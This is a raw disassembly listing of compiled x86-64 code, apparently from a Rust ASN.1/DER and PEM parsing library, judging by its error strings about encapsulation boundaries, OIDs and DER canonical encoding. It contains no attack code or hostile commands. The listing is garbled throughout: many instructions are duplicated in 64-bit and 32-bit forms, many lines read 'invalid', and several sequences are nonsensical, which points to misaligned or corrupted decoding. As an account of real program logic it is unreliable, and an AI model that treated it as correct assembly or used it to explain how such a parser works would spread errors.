lea rax, [0x1a7f1c434d8]
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c434cd]
add eax, 0xce5fd
add eax, 0xce5fd
mov r8d, 6
mov rcx, rdx
mov rdx, rax
ret 0x3fe8
test edi, edi
invalid
jmp 0x1a7f1b75008
ret 0x3fe8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.CharacterEncodingEncapsulatedTextHeaderDisallowedLabelPreamblePreEncapsulationBoundaryPostEncapsulationBoundaryUnexpectedTypeLabel
in eax, 0xc
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
in eax, 0xc
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43509]
lea edx, [0x1a7f1c43509]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c43509]
lea edx, [0x1a7f1c43509]
jmp case.0x1a7f1b74a60.30
adc ecx, dword [rax - 0x75]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xce5ed
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43519]
mov r8d, 0x10
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43529]
in eax, 0xc
invalid
in eax, 0xc
add byte [rcx - 0x48], al
add eax, 0xeb000000
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
or al, 0
mov r8d, 5
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Length
adc eax, 0xe32db
adc eax, 0xe32db
mov r8d, 6
jmp 0x1a7f1b74fbc
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c4352e]
or al, 0
or al, 0
mov r8d, 8
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c43536]
mov r8d, 0x18
mov eax, 0x18
mov eax, 0x18
jmp 0x1a7f1b74fbc
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xce598
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xce598
mov r8d, 0x19
add byte [rax], al
add rsp, 0x48
jmp rax
add rax, 8
lea rcx, [rsp + 0x40]
ror byte [rax], 0x48
lea ecx, [rsp + 0x40]
mov qword [rcx], rax
lea rax, [0x1a7f1c43580]
add byte [rax - 0x77], cl
and al, 0x30
in eax, 0xc
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 8
lea rax, [0x1a7f1c43567]
lea eax, [0x1a7f1c43567]
lea eax, [0x1a7f1c43567]
ja 0x1a7f1b74fd3
or al, 0
lea r9, [0x1a7f1c58449]
mov r8d, 0x13
add byte [rax], al
add byte [rax], al
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d100
cmp bh, 0xff
cmp bh, 0xff
nop
add rsp, 0x48
add esp, 0x48
add esp, 0x48
invalid
ret
mov dh, 8
lea r8, [0x1a7f1c9e268]
movsxd rcx, dword [r8 + rcx*4]
invalid
or al, 0x88
add rcx, r8
invalid
jmp rcx
inc rax
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rax], rcx
lea rcx, [0x1a7f1b828ce]
mov qword [rax + 8], rcx
lea rcx, [0x1a7f1c550e0]
or eax, 0xe0093
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [r8 + 8], rcx
and qword [r8 + 0x20], 0
and byte [rax], al
and byte [rax], al
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], rcx
jmp 0x1a7f1b7519d
adc byte [rcx - 0x77], cl
sbb cl, bpl
sub eax, 0x48000001
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, str.PEM_character_encoding_errorPEM_error_in_encapsulated_textPEM_headers_disallowed_by_RFC7468PEM_type_label_invalidPEM_length_invalidPEM_preamble_contains_invalid_data__NUL_byte_PEM_error_in_pre_encapsulation_boundaryPEM_error_in_post_encapsulation_boundaryunexpected_PEM_type_label:_expecting__
lea rdx, str.PEM_character_encoding_errorPEM_error_in_encapsulated_textPEM_headers_disallowed_by_RFC7468PEM_type_label_invalidPEM_length_invalidPEM_preamble_contains_invalid_data__NUL_byte_PEM_error_in_pre_encapsulation_boundaryPEM_error_in_post_encapsulation_boundaryunexpected_PEM_type_label:_expecting__
mov r8d, 0x1c
mov eax, 0x1c
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c5510c]
mov r8d, 0x1e
mov eax, 0x1e
mov eax, 0x1e
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe006b
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xe006b
invalid
invalid
invalid
mov r8d, 0x21
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5514b]
adc eax, 0xe006e
adc eax, 0xe006e
mov r8d, 0x16
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c55161]
adc eax, 0xe0069
adc eax, 0xe0069
mov r8d, 0x12
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c55173]
adc eax, 0xe0060
adc eax, 0xe0060
mov r8d, 0x2d
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c551a0]
mov r8d, 0x27
jmp 0x1a7f1b7514f
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c551c7]
mov r8d, 0x28
add rsp, 0x68
jmp rax
add rax, 8
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
lea rax, [rsp + 0x28]
mov qword [rax], rcx
lea rcx, [0x1a7f1b82902]
mov qword [rax + 8], rcx
lea rcx, [0x1a7f1c55218]
lea r8, [rsp + 0x38]
mov qword [r8], rcx
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rax
mov qword [r8 + 0x18], 1
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1a7f1b6d0f0
nop
add rsp, 0x68
ret
or byte [rcx + rcx*4 + 0x49], cl
adc bh, al
add dword [rdx], eax
add byte [rax], al
add byte [rax], al
pop rbx
ret
lea r9, [rcx + rdx]
inc rdx
inc edx
add byte [rax], al
pop rbx
ret
inc edx
dec rcx
cmp rdx, 1
je 0x1a7f1b753ed
lea rax, [rcx + 1]
lea r8, [rdx - 1]
dec dword [rax - 0x7d]
cli
invalid
je case.0x1a7f1b61633.287
dec dword [rax - 0x7d]
dec dword [rax - 0x7d]
cli
add dh, byte [rsp + rdx - 0x80]
jns 0x1a7f1b753e3
invalid
cmp byte [rcx + 1], 0
add dword [rax], eax
add byte [rax - 0x77], cl
ror dword [rcx + rcx*4 - 0x3e], 0x74
mov rcx, rax
mov rdx, r8
je 0x1a7f1b753cb
invalid
loopne 0x1a7f1b753d7
jmp case.0x1a7f1b61633.287
invalid
xor r8d, r8d
mov rax, r9
mov rdx, r8
ret
push 0x4cce8948
lea eax, [rsp + 0x2f]
mov byte [r8], 0
lea rdi, [rsp + 0x30]
jl 0x1a7f1b75431
xor byte [rax - 0x77], cl
stc
jl 0x1a7f1b75431
xor byte [rax - 0x77], cl
stc
call fcn.1a7f1b7525b
mov eax, dword [rdi]
invalid
cmp eax, 2
jne 0x1a7f1b75426
invalid
mov cl, byte [rsp + 0x2f]
mov byte [rsi + 4], cl
jmp 0x1a7f1b75448
mov ecx, dword [rsp + 0x34]
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
and al, 0x48
and al, 0x48
and al, 0x48
movups xmmword [rsi + 0x18], xmm1
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rsi + 0x28], xmm1
adc dword [rsi + 0x28], ecx
adc dword [rsi + 0x28], ecx
sub byte [rcx + 0x110f044e], cl
or byte [rcx - 0x3b7cb7fa], r9b
invalid
add rsp, 0x68
pop rdi
pop rsi
ret
invalid
mov dword [rsi + 4], ecx
add al, 0xf
adc dword [rsi + 8], eax
movups xmmword [rsi + 8], xmm0
mov dword [rsi], eax
invalid
add rsp, 0x68
pop rdi
pop rsi
ret
push rdi
push r14
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xb0
sub esp, 0xb0
mov rdi, rdx
xlatb
mov rsi, rcx
lea rbx, [rsp + 0x30]
mov rcx, rbx
call fcn.1a7f1b753f7
cmp dword [rbx], 2
cmp eax, dword [rdx]
cmp eax, dword [rdx]
jne 0x1a7f1b7548a
mov dl, byte [rsp + 0x34]
lea rcx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
lea ecx, [rsp + 0x70]
and al, 0x70
call fcn.1a7f1b75742
jmp 0x1a7f1b754bb
mov rax, qword [rsp + 0x60]
and al, 0x60
mov qword [rsp + 0xa0], rax
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rdi], cl
invalid
movups xmm0, xmmword [rsp + 0x30]
adc byte [rsp + 0x30], al
movups xmm1, xmmword [rsp + 0x40]
adc byte [rsp + 0x40], cl
movups xmm2, xmmword [rsp + 0x50]
push rsp
and al, 0x50
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1a7f1b7552c
jo 0x1a7f1b75443
clc
add dh, byte [rbp + 0x68]
mov al, byte [rsp + 0x76]
movzx ecx, word [rsp + 0x74]
and al, 0x74
and al, 0x74
mov word [rsp + 0x28], cx
and al, 0x28
mov byte [rsp + 0x2a], al
lea rbx, [rsp + 0x30]
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
mov rdx, rdi
call fcn.1a7f1b753f7
adc edi, edi
invalid
invalid
mov eax, dword [rbx]
adc edi, edi
invalid
cmp eax, 2
jne 0x1a7f1b755da
movzx r15d, byte [rsp + 0x34]
test r15b, r15b
js 0x1a7f1b75580
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x77], al
inc byte [rcx - 0x7f]
out 0, al
invalid
mov r14d, r15d
and r14d, 0xffffff00
or r14d, r15d
dec byte [rdx - 0x77d5dbbc]
or r9b, byte [rdi]
mov bh, 0x44
and al, 0x28
invalid
dec byte [rdx - 0x77d5dbbc]
or r9b, byte [rdi]
mov bh, 0x44
and al, 0x28
invalid
sub byte [rsi - 0x77], ah
or byte [rcx + r9*4 + 0x76], r8b
add al, 0xc7
invalid
mov word [rsi + 8], ax
mov dword [rsi + 4], r14d
mov dword [rsi], 2
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
invalid
hlt
jmp case.0x1a7f1b6fd85.129
mov cl, byte [rsp + 0x76]
mov byte [rsp + 0x26], cl
movzx ecx, word [rsp + 0x74]
movzx ecx, word es:[rsp + 0x74]
mov word [rsp + 0x24], cx
mov cl, byte [rsp + 0xa7]
mov byte [rsi + 0x37], cl
movups xmm0, xmmword [rsp + 0x97]
movups xmmword [rsi + 0x27], xmm0
movups xmm0, xmmword [rsp + 0x87]
movups xmmword [rsi + 0x17], xmm0
adc dword [rsi + 0x17], eax
adc dword [rsi + 0x17], eax
movups xmm0, xmmword [rsp + 0x77]
movups xmmword [rsi + 7], xmm0
mov cl, byte [rsp + 0x26]
mov byte [rsi + 6], cl
movzx ecx, word [rsp + 0x24]
mov word [rsi + 4], cx
mov dword [rsi], eax
jmp case.0x1a7f1b6fd85.129
xor eax, eax
cmp r15d, 0x80
jne 0x1a7f1b75593
mov bpl, 5
jmp case.0x1a7f1b5b061.268
mov bpl, 0xd
cmp r15b, 0x84
ja case.0x1a7f1b5b061.268
mov r12, r15
xor r12, 0x80
add byte [rax], al
add byte [rax], al
xor r14d, r14d
lea rbx, [rsp + 0x30]
sub r12, 1
sub esp, 1
in al, dx
add dword [rdx + 0x73], esi
jb 0x1a7f1b7562b
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b753f7
mov eax, dword [rsp + 0x30]
cmp eax, 2
jne 0x1a7f1b755da
xor al, 0xfe
invalid
shl r14d, 8
movzx eax, byte [rsp + 0x34]
or r14d, eax
jmp 0x1a7f1b755b2
mov r14b, byte [rsp + 0x34]
mov bpl, byte [rsp + 0x38]
xor al, 0x40
mov ch, byte [rsp + 0x38]
movzx edx, byte [rsp + 0x37]
and al, 0x37
shl edx, 0x10
movzx ecx, word [rsp + 0x35]
xor eax, 0xb70fd109
push rsp
and al, 0x39
xor eax, 0xb70fd109
push rsp
and al, 0x39
mov word [rsp + 0x2c], dx
mov dword [rsp + 0x2c], edx
mov dl, byte [rsp + 0x3b]
mov byte [rsp + 0x2e], dl
push rsp
and al, 0x2e
push rsp
and al, 0x2e
movups xmm0, xmmword [rsp + 0x3c]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x4c]
movaps xmmword [rsp + 0x80], xmm0
movups xmm0, xmmword [rsp + 0x58]
movups xmmword [rsp + 0x8c], xmm0
jmp case.0x1a7f1b5b061.268
cmp r14d, 0xfffffff
cmp esi, 0xfffffff
invalid
ja 0x1a7f1b75732
cli
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], al
add byte [rax], al
mov eax, r14d
and eax, 0xffffff80
loopne 0x1a7f1b755be
mov cl, 1
add dword [rdx + 0x803d81], esi
mov dl, 0x81
cmp eax, 0x80
add byte [rax], al
add byte [rax], al
je 0x1a7f1b7567a
xor dword [rcx - 0x73], eax
xchg byte [rax], al
invalid
lea eax, [r14 - 0x100]
invalid
mov dl, 0x82
cmp eax, 0xff00
jb 0x1a7f1b7567a
lea eax, [r14 - 0x10000]
mov dl, 0x83
cmp eax, 0xff0000
jb 0x1a7f1b7567a
lea eax, [r14 - 0x1000000]
lea eax, [rsi - 0x1000000]
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
cmp eax, 0xf000000
add byte [rax], al
add byte [rdi], cl
invalid
setb cl
mov dl, 0x84
sal dword [rdx - 0x7b3fce7c], 0xc9
xor eax, eax
rol byte [rcx + rcx*8 + 0x38440e74], 0xfa
test cl, cl
leave
je case.0x1a7f1b5b061.268
cmp dl, r15b
jne case.0x1a7f1b5b061.268
or dword [rbp + 0xf], eax
movzx r15d, r14b
mov dh, 0xfe
jmp 0x1a7f1b75503
inc ecx
shl ecx, 8
loope case.0x1a7f1b7491c.86
or byte [rcx + 0xf], al
movzx edx, r14b
mov dh, 0xd6
or edx, ecx
cmp bpl, 0xd
std
invalid
jne case.0x1a7f1b7015e.93
std
or eax, 0x448a1975
mov al, byte [rsp + 0x2a]
and al, 0x2a
mov byte [rsp + 0x26], al
and al, 0x26
movzx eax, word [rsp + 0x28]
mov word [rsp + 0x24], ax
mov dword [rsp + 0x24], eax
xor eax, eax
mov bpl, 6
rol byte [rax - 0x4b], 6
jmp case.0x1a7f1b74a60.62
mov cl, byte [rsp + 0x2e]
mov byte cs:[rsp + 0x26], cl
mov byte [rsp + 0x26], cl
and al, 0x26
movzx ecx, word es:[rsp + 0x2c]
movzx ecx, word [rsp + 0x2c]
and al, 0x2c
sub al, 0x66
mov dword [rsp + 0x24], ecx
and al, 0x24
mov word [rsp + 0x24], cx
and al, 0x24
movaps xmm0, xmmword [rsp + 0x70]
sub byte [rsp + 0x70], al
and al, 0x70
jo 0x1a7f1b756dd
movaps xmm1, xmmword [rsp + 0x80]
sub byte [rsp + 0x80], cl
mov word [rax + rax*4], fs
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x30], eax
and al, 0x30
movaps xmmword [rsp + 0x30], xmm0
and al, 0x30
movaps xmmword [rsp + 0x40], xmm1
and al, 0x40
movups xmm0, xmmword [rsp + 0x8c]
movups xmm0, xmmword [rsp + 0x8c]
mov word [rax], es
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
movups xmmword [rsp + 0x4c], xmm0
adc dword [rsp + 0x4c], eax
and al, 0x4c
mov cl, byte [rsp + 0x26]
mov byte [rsi + 0xb], cl
movzx ecx, word [rsp + 0x24]
and al, 0x24
and al, 0x24
and al, 0x24
mov word [rsi + 9], cx
movaps xmm0, xmmword [rsp + 0x30]
and al, 0x30
movaps xmm1, xmmword [rsp + 0x40]
sub byte [rsp + 0x40], cl
and al, 0x40
and al, 0x40
movups xmmword [rsi + 0xc], xmm0
adc dword [rsi + 0xc], eax
or al, 0xf
adc dword [rsi + 0x1c], ecx
movups xmmword [rsi + 0x1c], xmm1
movups xmm0, xmmword [rsp + 0x4c]
and al, 0x4c
movups xmmword [rsi + 0x28], xmm0
adc dword [rsi + 0x28], eax
mov dword [rsi], eax
mov dword [rsi + 4], edx
mov byte [rsi + 8], bpl
or byte [rax - 0x7f], cl
invalid
add rsp, 0xb0
add byte [rax], al
add byte [rbx + 0x5d], bl
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r14
pop r15
ret
mov ecx, r14d
shr ecx, 8
invalid
invalid
jmp 0x1a832778843
xor eax, eax
mov bpl, 0xc
mov ch, 0xc
jmp case.0x1a7f1b5b061.268
invalid
and al, 0x1f
cmp al, 0x1f
jne 0x1a7f1b75756
and dword [rcx], 0
mov byte [rcx + 4], 0x1f
invalid
add dh, al
add al, 0x1f
invalid
invalid
mov byte [rcx + 8], 0x12
or byte [r10], dl
ret
movzx r8d, dl
mov dh, 0xc2
dec r8d
cmp r8d, 0x30
cmp eax, 0x30
enter 0xffffffffffff8341, 0xfffffffffffffff8
xor byte [rdi + 0x74], dh
cmp eax, 0x30
ja case.default.0x1a7f1b75771
lea r9, [0x1a7f1c9e290]
lea ecx, [0x1a7f1c9e290]
mov edx, dword [rdx]
add byte [rdi + 0x63], cl
invalid
invalid
movsxd r8, dword [r9 + r8*4]
add al, 0x81
add r8, r9
jmp r8
invalid
enter 0xffffffffffffff41, 0xffffffffffffffe0
loopne 0x1a7f1b7573b
mov byte [rcx + 4], 0
add al, 0
jmp 0x1a7f1b7584a
int 0
add byte [rax], al
mov byte [rcx + 4], 2
jmp 0x1a7f1b7584a
invalid
add dh, al
mov byte [rcx + 4], 5
add al, 5
jmp 0x1a7f1b7584a
mov ebx, 0xc6000000
add al, 0xc
mov byte [rcx + 4], 0xc
or al, 0xe9
jmp 0x1a7f1b7584a
mov dl, 0
add byte [rax], al
mov byte [rcx + 4], 0xd
jmp 0x1a7f1b7584a
invalid
add byte [rax], al
add byte [rax], al
test eax, 0xc6000000
add byte [rax], al
add dh, al
mov byte [rcx + 4], 0xe
add al, 0xe
add al, 0xe
jmp 0x1a7f1b7584a
add byte [rax], al
add dh, al
mov byte [rcx + 4], 0xf
add al, 0xf
add al, 0xf
jmp 0x1a7f1b7584a
xchg edi, eax
add byte [rax], al
add dh, al
mov byte [rcx + 4], 9
add al, 9
add al, 9
jmp 0x1a7f1b7584a
mov es, word [rax]
add byte [rax], al
add dh, al
add al, 0xa
mov byte [rcx + 4], 0xa
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 1
add al, 1
jmp 0x1a7f1b7584a
jg 0x1a7f1b75792
mov byte [rcx + 4], 3
add al, 3
jmp 0x1a7f1b7584a
jns case.0x1a7f1b75771.19
mov byte [rcx + 4], 4
add al, 4
add al, 0xeb
jmp 0x1a7f1b7584a
jae 0x1a7f1b75819
mov r8d, edx
mov eax, edx
and r8b, 0x20
loopne case.0x1a7f1b75771.11
lea r9d, [rdx - 0x40]
lea ecx, [rdx - 0x40]
cmp r9b, 0x3f
jae 0x1a7f1b75822
invalid
shr r8b, 5
mov byte [rcx + 4], 0x14
add al, 0x14
add eax, 0x140441c6
add al, 0x14
jmp 0x1a7f1b75843
mov byte [rcx + 4], 6
add al, 6
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 7
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 8
add al, 8
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 0xb
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 0x10
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 0x11
add al, 0x11
jmp 0x1a7f1b7584a
xor al, 0xc6
add al, 0x12
add al, 0x12
mov byte [rcx + 4], 0x12
add al, 0x12
adc ch, bl
mov byte cs:[rcx + 4], 0x13
mov byte [rcx + 4], 0x13
jmp 0x1a7f1b7584a
mov byte [rcx + 4], 0x13
jmp 0x1a7f1b7584a
cmp dl, 0xbf
jge 0x1a7f1b75831
mov edi, 0xc0410a7d
call 0x1a7f5f91e33
add al, 0x15
jmp 0x1a7f1b75843
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
shr r8b, 5
mov byte [rcx + 4], 0x15
add al, 0x15
add al, 0x15
jmp 0x1a7f1b75843
adc al, byte [rbp + rcx*4 + 0x4a]
cmp r9b, 0x3f
lea r9d, [rdx + 0x40]
cmp r9b, 0x3f
jae 0x1a7f1b75851
shr r8b, 5
shr al, 5
mov byte [rcx + 4], 0x16
mov byte [rcx + 5], al
mov byte [rcx + 6], r8b
mov byte [rcx + 6], al
mov byte [rcx + 6], al
mov dword [rcx], 2
ret
and dword [rcx], 0
mov byte [rcx + 8], 0x14
or byte [rax + rcx*4], dl
push rcx
or ebx, eax
or byte [rax + rcx*4], dl
push rcx
or ebx, eax
rol cl, 1
call 0x1a7b3409d76
jmp 0x1a7b3ef9c7d
ret 0x5a75
rol byte [rcx - 0x3f], cl
invalid
ret
shr ebx, 8
adc al, 0xf
mov dh, 0xf2
and al, byte [rax + 0x77416fa]
cli
invalid
adc eax, 0xc0841675
ror byte [rdi], 0x94
xchg esp, eax
ret
test cl, cl
xchg ebp, eax
mov byte [rax + 0x38], 0xf3
cmp bl, sil
fidiv dword [rbp + 0x11]
adc dword [rax - 0x77bbfbaf], ecx
push rcx
add al, 0x44
mov byte [rcx + 5], dl
add eax, 0xb8064188
add al, byte [rax]
add byte [rax], al
invalid
invalid
or byte [rbx], dl
or dword [r8 + rcx*4 + 0x49], eax
or esp, dword [rsi - 0x77]
push rcx
or al, 0x88
invalid
push rdi
push rbx
sub rsp, 0xa0
mov rsi, rcx
mov esi, ecx
movzx eax, byte [rcx]
mov dh, 1
lea rcx, [0x1a7f1c9e354]
lea ecx, [0x1a7f1c9e354]
pop rcx
mov dl, byte [rdx]
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
lea rax, str.date_time_error
jmp 0x1a7f1b75ad3
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, str.operation_failed_6
lea rax, str.operation_failed_6
add cl, ch
jmp 0x1a7f1b75ad3
mov bh, 1
add byte [rax], al
lea rax, str.file_not_found
jmp 0x1a7f1b75ad3
stosd dword [rdi], eax
add dword [rax], eax
invalid
stosd dword [rdi], eax
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [rsi + 4]
lea rcx, [rsp + 0x30]
and al, 0x30
lea rax, [rsi + 4]
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rcx], rax
add rsi, 8
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea r9, [rsp + 0x70]
lea ecx, [rsp + 0x70]
mov qword [r9], rcx
lea rcx, [0x1a7f1b751b0]
or eax, 0xfffff861
or eax, 0xfffff861
clc
invalid
dec dword [rcx - 0x77]
or byte [r9 - 0x77], cl
mov qword [r9 + 0x10], rax
mov qword [r9 + 0x18], rcx
lea rax, str.ASN.1_DER_message_is_incomplete:_expected___actual
lea eax, [0x1a7f1c436d8]
mov qword [r9 + 8], rcx
mov qword [r9 + 0x10], rax
mov qword [r9 + 0x18], rcx
lea rax, str.ASN.1_DER_message_is_incomplete:_expected___actual
lea eax, [0x1a7f1c436d8]
lea eax, [0x1a7f1c436d8]
or al, 0
lea r8, [rsp + 0x38]
mov qword [r8], rax
add byte [rax + 2], bh
add byte [rax + 2], bh
mov qword [r8 + 8], rax
mov dword [rax + 8], eax
or byte [rcx - 0x7d], cl
invalid
and qword [r8 + 0x20], 0
and byte [rax], al
mov qword [r8 + 0x10], r9
jmp 0x1a7f1b75ce3
add byte [rax], al
add byte [rax], al
inc rsi
lea rax, [rsp + 0x20]
and byte [rax - 0x77], cl
xor byte [rax - 0x73], cl
and al, 0x70
and byte [rax - 0x77], cl
xor byte [rax - 0x73], cl
and al, 0x70
mov qword [rcx], rax
lea rax, case.0x1a7f1b6fd85.63
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0xcdd62
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0xcdd62
lea eax, [0x1a7f1c43708]
jmp 0x1a7f1b75cc9
lea rax, str.indefinite_length_disallowed
fisttp qword [rax + rax]
jmp 0x1a7f1b75ad3
inc rsi
inc esi
lea rax, [rsp + 0x20]
mov qword [rax], rsi
mov dword [rax], esi
mov dword [rax], esi
lea rcx, [rsp + 0x70]
and al, 0x70
mov qword [rcx], rax
lea rax, [0x1a7f1b74a48]
invalid
invalid
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0xcdd84
invalid
dec dword [rax - 0x77]
or byte [r8 - 0x73], cl
add eax, 0xcdd84
jmp 0x1a7f1b75cc9
add byte [rax - 1], cl
invalid
inc rsi
lea rax, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
xor byte [rax - 0x73], cl
and al, 0x70
mov qword [rcx], rax
lea rax, [0x1a7f1b74a48]
mov qword [rcx + 8], rax
mov dword [rcx + 8], eax
lea rax, str.ASN.1__not_canonically_encoded_as_DER
lea eax, [0x1a7f1c43798]
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 2
mov dword [rax + 8], 2
mov dword [rax + 8], 2
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], 1
jmp 0x1a7f1b75ce7
invalid
add byte [rax - 0x73], cl
add eax, 0xcdd95
lea rax, str.malformed_OID
jmp 0x1a7f1b75ad3
inc rsi
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
lea rax, [0x1a7f1b677ab]
mov qword [rcx + 8], rax
lea rax, str.unknown_unsupported_OID:
add eax, 0xcdd9b
add eax, 0xcdd9b
add cl, ch
add al, byte [eax]
add byte [rax - 0x73], cl
lea rax, str.SET_OF_contains_duplicate
jmp 0x1a7f1b75cc9
lea rax, str.SET_OF_contains_duplicate
jmp 0x1a7f1b75ad3
lea rax, str.SET_OF_ordering_error
jmp 0x1a7f1b75ad3
lea rax, str.integer_overflow_8
jmp 0x1a7f1b75ad3
lea rax, str.ASN.1_DER_message_is_too_long
sbb al, 0xde
or al, 0
jmp 0x1a7f1b75ad3
add rsi, 8
add esi, 8
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
mov dword [rcx], eax
mov dword [rcx], eax
lea rax, [0x1a7f1b7500e]
mov qword [rcx + 8], rax
lea rax, str.PEM_error:
adc al, 0xde
or al, 0
adc al, 0xde
or al, 0
jmp 0x1a7f1b75cc9
lea rax, [0x1a7f1c438d0]
jmp 0x1a7f1b75ad3
lea rax, str.reader_does_not_support_the_requested_operation
jmp 0x1a7f1b75ad3
lea rax, str.unknown_tag_mode_9
jmp 0x1a7f1b75ad3
lea rax, str.invalid_tag_number
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [r8 + 0x10], rax
xorps xmm0, xmm0
